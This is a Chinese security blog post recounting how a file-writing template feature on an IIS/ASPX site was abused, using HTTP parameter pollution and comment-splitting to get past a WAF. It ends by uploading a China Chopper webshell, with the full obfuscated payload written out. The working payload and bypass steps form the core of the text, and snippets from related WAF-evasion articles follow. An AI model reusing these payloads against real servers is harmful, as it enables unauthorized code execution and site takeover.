实战|记一次iis+aspx环境下利用http参数污染绕过waf

VSole2022-07-22 08:41:33

环境介绍

Server: Microsoft-IIS/10.0

X-AspNet-Version: 4.0.

waf:某不知名waf

漏洞点情况

新建模板处,可以直接写入内容到文件:

但是一写入正常的aspx语句就被拦截,连简单的输出语句都不行:

bypass过程

一开始也试过诸多绕过方法,包括各种常见编码、chunked编码等等,都不太行。

然后尝试了一下,看有没有http参数污染(两个code参数):

访问下生成的aspx文件:

可以看到确实是可以的,但是中间有个逗号,我们该怎么利用来写入aspx文件呢?

比如一个最简单的输出hello world:

<%@Page Language="C#"%> <% Response.Write("hello,world"); %>

之前我们通过测试知道<% Response.Write("hello,world"); %>这个会被waf拦截,删掉<%之后呢?

可以看到成功上传,那么思路就来了,将<%%>拆分就行,但是怎么让服务器忽略掉那个逗号呢?

自然是使用注释。

aspx是支持 “//”的注释方式的,然后我们需要使用换行,把我们的内容换到下一行避免被注释,于是:

看看生成的文件:

然后我们试着拆分前面被拦截的那个输出hello world的语句:

code=<%@Page Language="C#"%><% //&code=%0aResponse.Write("hello,world"); %>

成功生成:

Getshell

经过了好一番尝试,发现waf还过滤了Request等关键词,eval()可以上传,但是括号里面有内容比如eval(xxx)就不行。

参考了这篇文章里的注释符号:

https://www.cnblogs.com/xiaozi/p/7566795.html

将 eval(a)

拆分为

eval/*-/*-*/(a/*,*/)

Request就直接用加号进行连接,比如:"Req"+"uest"

最终结合hpp来利用,上传菜刀一句话的payload为:

code=<%@ Page Language = Jscript %><% //&code=%0avar+a%3d"ev"%2b"al"%2b"(Reque"%2b"st.Item[\"c"%2b"o\"],"%2b"\"uns"%2b"afe\")%3b"%3b eval/*-/*-*/(a/*&code=*/);%>

这个生成的文件内容应该是:

<%@ Page Language = Jscript %><%//,

var a="ev"+"al"+"(Reque"+"st.Item["c"+"o"],"+""uns"+"afe");"; eval/-/-/(a/,*/);%>

上传:

成功拿到一个菜刀shell,当然,菜刀因为waf的原因不能用:

eval都行了,还怕拿不到shell?

文章来源:乌云安全
wafeval
本作品采用《CC 协议》,转载必须注明作者和本文链接
前言 因为前阵子发表了一篇关于Thinkphp的文章到公众号里面,南5给我扔过来一个站让我试试。 初步想法 首先看了一下这个站,长这样
连上Webshell后发现执行不了任何命令,连常规的set、ver、whoami等命令都不行,EXE就更不用说了。执行时会卡一段时间,没有回显,也不显示:拒绝访问,说明不是360和火绒拦的。
在测试漏洞赏金计划时,我注意到我的html injectionpayload在将其发送到应用程序中反映的每个字段时都有效。然后,我第一次收到弹框的冲动让我失望了。
今天室友遇到一个好玩的网站,下面是一些尝试绕过Waf进行XSS的记录。首先该网站没有对左右尖号和单双引号做任何过滤或转义。且有未知的waf或者其他阻止恶意访问的手段。
Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0. waf:某不知名waf
文件上传数据包解析 文件上传实质上还是客户端的POST请求,消息主体是一些上传信息。前端上传页面需要指定 enctype为multipart/from-data才能正常上传文件。 一个正常的文件上传数据包大致如下:
可以认为IAM分成两类,一个是AWS提供的IAM,这是一个完整的身份管理系统,但AWS只提供了系统,基于该系统的配置及信息维护,由客户完全负责。AWS 提供了虚拟网络及其之上的VPC,子网,ACL,安全组等,客户需要准确设计配置自己的网络,以确保正确的隔离和防护。用户控制权限的修改通常由特权用户或者管理员组实现。
(翻译版)Numpy反序列化命令执行浅析代码审计Python安全编码和代码审计Python代码审计连载之一:CSRF?p=738Python代码审计连载之三:Server Side Request?p=744Python代码审计连载之四:Command Execution?p=747Dangerous Python Functions, Part 1Dangerous Python Functions, Part 2Dangerous Python Functions, Part 3记一下PythonWeb代码审计应该注意的地方廖新喜大佬的python代码审计工具来自openstack安全团队的python代码静态审计工具来自openstack安全团队的python代码静态审计工具2代码审计工具pytxfkxfk的python自动化代码审计?
服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等) 网站指纹识别(包括,cms,cdn,证书等),dns记录 whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等) 子域名收集,旁站,C段等 google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等 扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等 传输协议,通用漏洞,ex
传统的php免杀不用多说了 无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用php版本来进行语义出错的php命令执行方式。
VSole
网络安全专家